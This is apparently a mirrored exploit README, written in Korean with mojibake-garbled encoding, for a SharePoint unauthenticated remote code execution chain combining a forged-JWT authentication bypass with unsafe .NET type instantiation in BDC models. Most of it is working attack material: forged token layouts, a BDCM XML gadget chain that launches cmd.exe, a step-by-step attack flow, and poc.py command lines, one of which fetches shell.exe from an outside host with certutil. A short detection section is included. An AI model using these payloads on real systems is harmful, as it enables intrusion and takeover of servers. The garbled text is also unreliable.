## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HYPNGUYEN1209-CVE-2026-63520
# CVE-2026-63520 SharePoint μμ νμ§ μμ νμ
RCE + CVE-2026-55040 체μΈ
Microsoft SharePoint Serverμμμ μΈμ¦ μλ RCE. μ격 μ¦λͺ
λΆνμ.
Stephen Fewer(Rapid7)λ Pwn2Own Berlin 2026μμ CVE-2026-55040μ μμ°νμ΅λλ€. Rapid7μ νμ μ°κ΅¬ μ€ CVE-2026-63520μ λ°κ²¬νκ³ , VulnCheckλ λ
립μ μΌλ‘ λ체 κ°μ ― 체μΈμ λ°κ²¬νμ΅λλ€. μ΄ λ λ²κ·Έλ₯Ό ν¨κ» μ¬μ©νλ©΄ ν¨μΉλμ§ μμ μΈν°λ·μμ λͺ¨λ SharePointμμ μΈμ¦ μλ μ격 μ½λ μ€νμ΄ κ°λ₯ν©λλ€.
CISAλ PoC κ³΅κ° ν λͺ μκ° λ΄μ 경보λ₯Ό λ°λ Ήνμ΅λλ€. νμ¬ μΌμμμ μ
μ©λκ³ μμ΅λλ€.
## κΈ°λ₯
λ κ°μ λ²κ·Έ, νλμ 체μΈ:
CVE| μ ν| CVSS| μν₯
---|---|---|---
CVE-2026-55040| JWT μΈμ¦ μ°ν| 9.1| SharePointμ S2S ν ν° κ²μ¦μλ λ€ κ°μ§ λ
립μ μΈ μ·¨μ½μ μ΄ μμ΅λλ€. μ΄λ₯Ό μ°κ²°νλ©΄ λΉλ°λ²νΈλ₯Ό λͺ¨λ₯΄λ μνμμ λͺ¨λ μ¬μ©μ(μ¬μ΄νΈ κ΄λ¦¬μ ν¬ν¨)μ λν μ ν¨ν JWTλ₯Ό μμ‘°ν μ μμ΅λλ€.
CVE-2026-63520| μμ νμ§ μμ .NET νμ
μΈμ€ν΄μ€ν β RCE| 8.1| BDC(Business Data Connectivity)λ μ
λ‘λλ XMLμμ νμ© λͺ©λ‘ μμ΄ μμμ .NET νμ
μ΄λ¦μ νμΈν©λλ€. `ObjectDataProvider`λ₯Ό κ°λ¦¬ν€λ©΄ `Process.Start()`λ₯Ό μ»μ μ μμ΅λλ€.
λ λ²κ·Έ λͺ¨λ λ¨λ
μΌλ‘λ ν₯λ―Έλ‘μ§ μμ΅λλ€. CVE-2026-63520μ μΈμ¦μ΄ νμν©λλ€. CVE-2026-55040μ μΈμ¦μ μ 곡ν©λλ€. ν¨κ» μ¬μ©νλ©΄: SharePoint μλΉμ€ κ³μ μΌλ‘ μΈμ¦ μλ RCEκ° κ°λ₯ν©λλ€.
## λ²κ·Έ 1: JWT μ°ν (CVE-2026-55040)
SharePointλ μλ² κ°(S2S) μΈμ¦μ μ€μ²©λ JWTλ₯Ό μ¬μ©ν©λλ€. μΈλΆ ν ν°μ μ¬μ©μ IDλ₯Ό μ λ¬νκ³ , λ΄λΆ "actor token"μ νΈμΆ μ ν리μΌμ΄μ
μ λνλ
λλ€. `SPJsonWebSecurityTokenHandlerV2.ValidateToken()`μ λ€ κ°μ§ μ·¨μ½μ μΌλ‘ μ μ²΄κ° λ¬΄λμ§λλ€:
**μ·¨μ½μ 1 - μλͺ
κ²μ¦μ΄ κΊΌμ Έ μμ.** κ²μ¦κΈ°κ° `RequireSignedTokens = false`λ‘ μ€μ ν©λλ€. μΈλΆ ν ν°μ `alg: none`μ νμ©ν©λλ€. μλͺ
μ΄ νμ μμ΅λλ€.
**μ·¨μ½μ 2 - κ²μ¦ μλ x5t νμΈ.** actor tokenμ μλͺ
ν€λ μΈμ¦μ μ μ₯μμμ `x5t`(μΈμ¦μ μ§λ¬Έ) ν€λλ₯Ό μ‘°ννμ¬ νμΈλ©λλ€. SharePointλ actor tokenμ μλͺ
μ΄ μ€μ λ‘ ν΄λΉ ν€μ μΌμΉνλμ§ νμΈνμ§ μμ΅λλ€.
**μ·¨μ½μ 3 - λ°κΈμ κ²μ¦μ΄ μ μ μλ μΈμ¦μλ₯Ό νμ©ν¨.** `ValidateIssuer()`λ μλͺ
μΈμ¦μκ° `TrustedSecurityTokenServices` 컬λ μ
μ μμΌλ©΄ ν΅κ³Όν©λλ€. SharePoint μ체 STS μΈμ¦μλ μ¬κΈ°μ λ±λ‘λμ΄ μμ§ μμ΅λλ€. λ°λΌμ `x5t`λ₯Ό ν΅ν΄ μ΄λ₯Ό μ°Έμ‘°νλ©΄ λ°κΈμ κ²μ¦μ΄ 무쑰건 ν΅κ³Όν©λλ€.
**μ·¨μ½μ 4 - λΉμνΈν μλͺ
κ²μ¬.** `GetTokenSignature()`λ λΉμ΄ μμ§ μμ λ¬Έμμ΄μ μꡬνμ§λ§ μνΈν κ²μ¦μ μ ν μννμ§ μμ΅λλ€. μ΄λ€ κ°μ΄λ μλν©λλ€. `AAAA`λ μλν©λλ€.
STS μΈμ¦μλ 곡κ°λμ΄ μμ΅λλ€. `/_layouts/15/metadata/json/1`(μΈμ¦ μλ μλν¬μΈνΈ)μμ κ°μ Έμ SHA-1 μ§λ¬Έμ κ³μ°νλ©΄ νμν λͺ¨λ κ²μ μ»μ μ μμ΅λλ€.
### μμ‘°λ ν ν°μ νν
**μΈλΆ ν ν°** (μ¬μ©μ ID μ λ¬):
root@kitploit:~
// ν€λ
{"alg": "none", "typ": "JWT"}
// νμ΄λ‘λ
{
"aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "<λμ SID λλ UPN>",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": "<λ΄λΆ JWT>"
}
// μλͺ
: λΉμ΄ μμ (alg:none)
**λ΄λΆ actor token** ("μ ν리μΌμ΄μ
"μ λνλ):
root@kitploit:~
// ν€λ
{"alg": "RS256", "typ": "JWT", "x5t": "<STS μΈμ¦μ μ§λ¬Έ>"}
// νμ΄λ‘λ
{
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nbf": 1756000000,
"exp": 1756003600
}
// μλͺ
: "AAAA" (λΉμ΄ μμ§ μμ μ무 κ°μ΄λ κ°λ₯)
IDλ₯Ό μ ννλ μΈ κ°μ§ λ°©λ²:
## λ²κ·Έ 2: RCE (CVE-2026-63520)
SharePointμ BDC(Business Data Connectivity) μλΉμ€λ κ΄λ¦¬μκ° BDC λͺ¨λΈ XML νμΌ(`.bdcm`)μ ν΅ν΄ μΈλΆ λ°μ΄ν° μμ€λ₯Ό μ μν μ μκ² ν©λλ€. μ΄λ¬ν λͺ¨λΈμ BDCκ° λ°νμμ μΈμ€ν΄μ€ννλ .NET νμ
μ μ§μ ν©λλ€.
λ¬Έμ λ `DbTypeReflector.ResolveDotNetType()`μ μμ΅λλ€:
root@kitploit:~
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true); // GACμ λͺ¨λ νμ
15μ λ―Έλ§μ νμ
μ΄λ¦μ μμ ν νμΈμλ₯Ό κ±°μΉ©λλ€. λ κΈ΄ κ²μ `Type.GetType()`μ μ§μ νΈμΆν©λλ€ - GAC(Global Assembly Cache)μ λͺ¨λ μ΄μ
λΈλ¦¬ νμ νμ
μ΄λ¦μ νμΈν©λλ€. νμ© λͺ©λ‘λ, μ°¨λ¨ λͺ©λ‘λ μμ΅λλ€. 곡격μλ BDCM XMLμ ν΅ν΄ `abstractTypeName`μ μ μ΄ν©λλ€.
### κ°μ ― 체μΈ
PresentationFrameworkμ `System.Windows.Data.ObjectDataProvider`λ₯Ό μ¬μ©ν©λλ€. `ObjectInstance` μμ±μ μ€μ νλ©΄ ν΄λΉ μΈμ€ν΄μ€μμ `MethodName`μ νΈμΆν©λλ€. `MethodName = "Start"`λ‘ μ€μ νκ³ `ObjectInstance = System.Diagnostics.Process`λ‘ μ€μ ν ν μ‘°μλ `StartInfo`λ₯Ό μ§μ νλ©΄ BDCμ μμ± μ€μ μ 리νλ μ
μ΄ λλ¨Έμ§λ₯Ό μ²λ¦¬ν©λλ€:
root@kitploit:~
ObjectDataProvider μμ±
β MethodName = "Start"
β ObjectInstance = Process
β StartInfo.FileName = "cmd.exe"
β StartInfo.Arguments = "/c <payload>"
β StartInfo.UseShellExecute = false
β StartInfo.CreateNoWindow = true
β μμ± μ€μ μκ° QueryWorker() νΈλ¦¬κ±°
β BeginQuery() β InvokeMethodOnInstance()
β Type.InvokeMember("Start") β Process.Start()
μ΄λ₯Ό μ λ¬νλ BDCM XML:
root@kitploit:~
<TypeDescriptor Name="ReturnRoot"
TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<TypeDescriptors>
<TypeDescriptor Name="MethodName" TypeName="System.String">
<DefaultValues>
<DefaultValue ...>Start</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="ObjectInstance"
TypeName="System.Diagnostics.Process, System, ...">
<TypeDescriptor Name="StartInfo"
TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
<TypeDescriptor Name="FileName" TypeName="System.String">
<DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="Arguments" TypeName="System.String">
<DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
VulnCheckλ DotNetAssembly LobSystemμ ν΅ν `TypeConfuseDelegate` μμ§λ ¬νμ ν¨κ» `System.Web.UI.LosFormatter`λ₯Ό μ¬μ©νλ λ체 체μΈμ λ¬Έμννμ΅λλ€. μ¬λ¬ κ°μ ―μ΄ μλν©λλ€ - κΈ°λ³Έ ν리미ν°λΈλ μ ν μλ νμ
μΈμ€ν΄μ€νμ
λλ€.
## μ 체 곡격 νλ¦
root@kitploit:~
곡격μ SharePoint μλ²
β β
βββ GET /_layouts/15/metadata/json/1 βββΆβ
ββββ STS μΈμ¦μ (x5t + realm) ββββββββββ (μΈμ¦ μμ)
β β
βββ DCμ SMB null μΈμ
ββββββββββββββββββΆ λλ©μΈ 컨νΈλ‘€λ¬
ββββ λλ©μΈ SID βββββββββββββββββββββββββ
β β
βββ JWT μμ‘° (alg:none + AAAA μλͺ
) βββ
βββ POST /_api/contextinfo βββββββββββΆβ
ββββ FormDigestValue βββββββββββββββββ CVE-2026-55040: κ΄λ¦¬μλ‘ μΈμ¦λ¨
β β
βββ POST /_api/web/lists βββββββββββββΆβ BDC μΉ΄νλ‘κ·Έ μμ±
βββ POST .../Files/add(evil.bdcm) βββΆβ κ°μ ― μ²΄μΈ μ
λ‘λ
βββ POST /_vti_bin/client.svc/ βββββββΆβ ProcessQuery νΈλ¦¬κ±°
β ProcessQuery β
β β CVE-2026-63520: Process.Start()
β β β cmd.exe /c <payload>
β β β SP μλΉμ€ κ³μ μΌλ‘ μ€ν
μ¬μ― λ¨κ³:
1. **STS μΈμ¦μ κ°μ Έμ€κΈ°.** `/_layouts/15/metadata/json/1`μ μ κ·Όν©λλ€. μΈμ¦μ΄ νμ μμ΅λλ€. `keys[0].keyValue.value`μμ X.509 μΈμ¦μλ₯Ό μΆμΆνκ³ , SHA-1 ν΄μ ν base64urlλ‘ μΈμ½λ©ν©λλ€. μ΄κ²μ΄ `x5t`μ
λλ€. `issuer` νλμμ `realm`μ μ»μ΅λλ€.
2. **μ¬μ΄νΈ κ΄λ¦¬μ μ°ΎκΈ°.** λλ©μΈ 컨νΈλ‘€λ¬μ SMB null μΈμ
μ μ΄κ³ , LSARPC `LsarQueryInformationPolicy`λ‘ λλ©μΈ SIDλ₯Ό μ»μ λ€μ, RID(500, 1000-10000)λ₯Ό λ°λ³΅νλ©° κ°κ°μ λν΄ JWTλ₯Ό μμ‘°νμ¬ `/_api/web/currentuser`κ° `IsSiteAdmin: true`λ₯Ό λ°νν λκΉμ§ μλν©λλ€. λλ μλ €μ§ UPNμ μ 곡ν©λλ€.
3. **JWT μμ‘°.** μΈλΆ: `alg:none`, nameid = κ΄λ¦¬μ SID, actortoken = λ΄λΆ JWT. λ΄λΆ: `alg:RS256`, `x5t` = STS μ§λ¬Έ, μλͺ
= `AAAA`. Base64url μΈμ½λ© ν μ μΌλ‘ μ°κ²°ν©λλ€. μλ£.
4. **νΌ λ€μ΄μ μ€νΈ μ»κΈ°.** μμ‘°λ Bearer ν ν°μΌλ‘ λ₯Ό νΈμΆν©λλ€. SharePointκ° μ°κΈ° μμ
μ μν λ₯Ό μ 곡ν©λλ€.
## μν₯μ λ°λ λ²μ
2026λ
8μ λμ μ
λ°μ΄νΈλ BDCκ° μΈμ€ν΄μ€νν μ μλ .NET νμ
μ μ ννλ `ValidateSafeBcsType()`μ μΆκ°ν©λλ€. JWT μμ μ μ μ ν μλͺ
κ²μ¦μ μΆκ°νκ³ μ λ’°ν μ μλ ν ν° μλΉμ€ 컬λ μ
μ STS μΈμ¦μλ₯Ό λ±λ‘ν©λλ€.
SharePoint 2016μ λ©μΈμ€νΈλ¦Ό μ§μμ 2026λ
μ μ’
λ£λμμ΅λλ€. νμ₯ μ§μμ΄ μλ μ‘°μ§μ μμ μ¬νμ λ°μ§ λͺ»ν μ μμ΅λλ€.
## μ€ν λ°©λ²
μμ‘΄μ± μ€μΉ:
root@kitploit:~
pip install requests
pip install impacket # --domain-ip μλ SID λ°κ²¬μλ§ νμ
### λͺ¨λ κ² μλ λ°κ²¬ (SIDμ DC μ‘μΈμ€ νμ)
root@kitploit:~
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "cmd.exe /c whoami > C:\Windows\Temp\pwned.txt"
μ€ν¬λ¦½νΈλ λ€μμ μνν©λλ€:
* STS λ©νλ°μ΄ν°μμ `x5t` λ° `realm` κ°μ Έμ€κΈ°
* SMB null μΈμ
μΌλ‘ λλ©μΈ SID νλ
* μ¬μ΄νΈ κ΄λ¦¬μλ₯Ό μ°Ύμ λκΉμ§ RID λ°λ³΅
* JWT μμ‘°, λ€μ΄μ μ€νΈ νλ, BDCM μ
λ‘λ, RCE νΈλ¦¬κ±°
### μλ €μ§ UPN μ¬μ© (SMB λΆνμ)
root@kitploit:~
python3 poc.py \
--target sharepoint.corp.local \
--upn some-email@example.com \
--cmd "powershell -enc JABjAD0ATgBlAHcALQBPAGIA..."
### μλ €μ§ SID μ¬μ©
root@kitploit:~
python3 poc.py \
--target 10.0.0.50 \
--sid S-1-5-21-4203888158-2793536450-3921675298-500 \
--cmd "certutil -urlcache -split -f http://10.0.0.100/shell.exe C:\Windows\Temp\shell.exe"
### TLS μΈμ¦μμμ UPN μλ λ°κ²¬
root@kitploit:~
python3 poc.py \
--target 10.0.0.50 \
--auto-upn \
--username administrator \
--cmd "calc.exe"
### μΈμ¦ μ°ν νμΈλ§ (RCE μμ)
root@kitploit:~
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "dummy" \
--check-only
`Authenticated as: SHAREPOINT\system (System Account) [SITE ADMIN]`μ΄ νμλμ΄μΌ ν©λλ€. μ΄λ JWT μ°νκ° μλνκ³ κ΄λ¦¬μ μμ€ μ‘μΈμ€ κΆνμ΄ μμμ νμΈν©λλ€.
### λΉνμ€ ν¬νΈ
root@kitploit:~
python3 poc.py \
--target 10.0.0.50 \
--port 8443 \
--upn some-email@example.com \
--cmd "whoami"
## νμ§
νμΈν΄μΌ ν μ¬ν:
* SharePoint μλν¬μΈνΈμ μ κ·Όνλ **`alg: none` JWT**. ν©λ²μ μΈ S2S ν ν°μ νμ RS256μ μ¬μ©ν©λλ€.
* λμΌν μμ€ IPμμ μΈμ¦λ API νΈμΆμ΄ λ€λ°λ₯΄λ **`/_layouts/15/metadata/json/1` μμ²**. λ©νλ°μ΄ν° μλν¬μΈνΈλ 곡κ°λμ΄ μμ§λ§, μ μ°° ν κ΄λ¦¬μ μμ€ μ‘μΈμ€λ μμ¬μ€λ½μ΅λλ€.
* `BusinessDataMetadataCatalog`μ λνλλ **μ`.bdcm` νμΌ**. λλΆλΆμ SharePoint λ°°ν¬λ BDCλ₯Ό μ ν μ¬μ©νμ§ μμ΅λλ€. BDCM μ
λ‘λλ μ‘°μ¬ν κ°μΉκ° μμ΅λλ€.
* μν°ν° νμ
μ΄λ¦μ `ObjectDataProvider` λλ `LosFormatter`κ° ν¬ν¨λ μ μ μλ BDC μν°ν°λ₯Ό μ°Έμ‘°νλ **`ProcessQuery` μμ²**.
* `w3wp.exe`(SharePoint μ ν리μΌμ΄μ
ν)μμμ **νλ‘μΈμ€ μμ±**. μμ
μ νλ‘μΈμ€μ μμμΌλ‘ `cmd.exe`, `powershell.exe`, `certutil.exe`κ° λνλλ κ²μ μ νμ μΈ μ§νμ
λλ€.
## μ°Έκ³ μλ£
* VulnCheck - Exploiting SharePoint: CVE-2026-55040 and CVE-2026-63520 RCE Chain
* Rapid7 - Technical Analysis of CVE-2026-63520
* Rapid7 - Technical Analysis of CVE-2026-55040
* Rapid7 - CVE-2026-55040 Disclosure
* Rapid7 - CVE-2026-63520 Disclosure
* sfewer-r7/CVE-2026-55040 (PoC)
* Previdian - CVE-2026-55040
* Microsoft Advisory - CVE-2026-55040
* Microsoft Advisory - CVE-2026-63520
## λ²μ κ³ μ§
μΉμΈλ 보μ ν
μ€νΈμλ§ μ¬μ©νμμμ€. μμ νμ§ μμ μμ€ν
μ λν΄ μ€ννκΈ° μ μ μλ©΄ νκ°λ₯Ό λ°μΌμμμ€.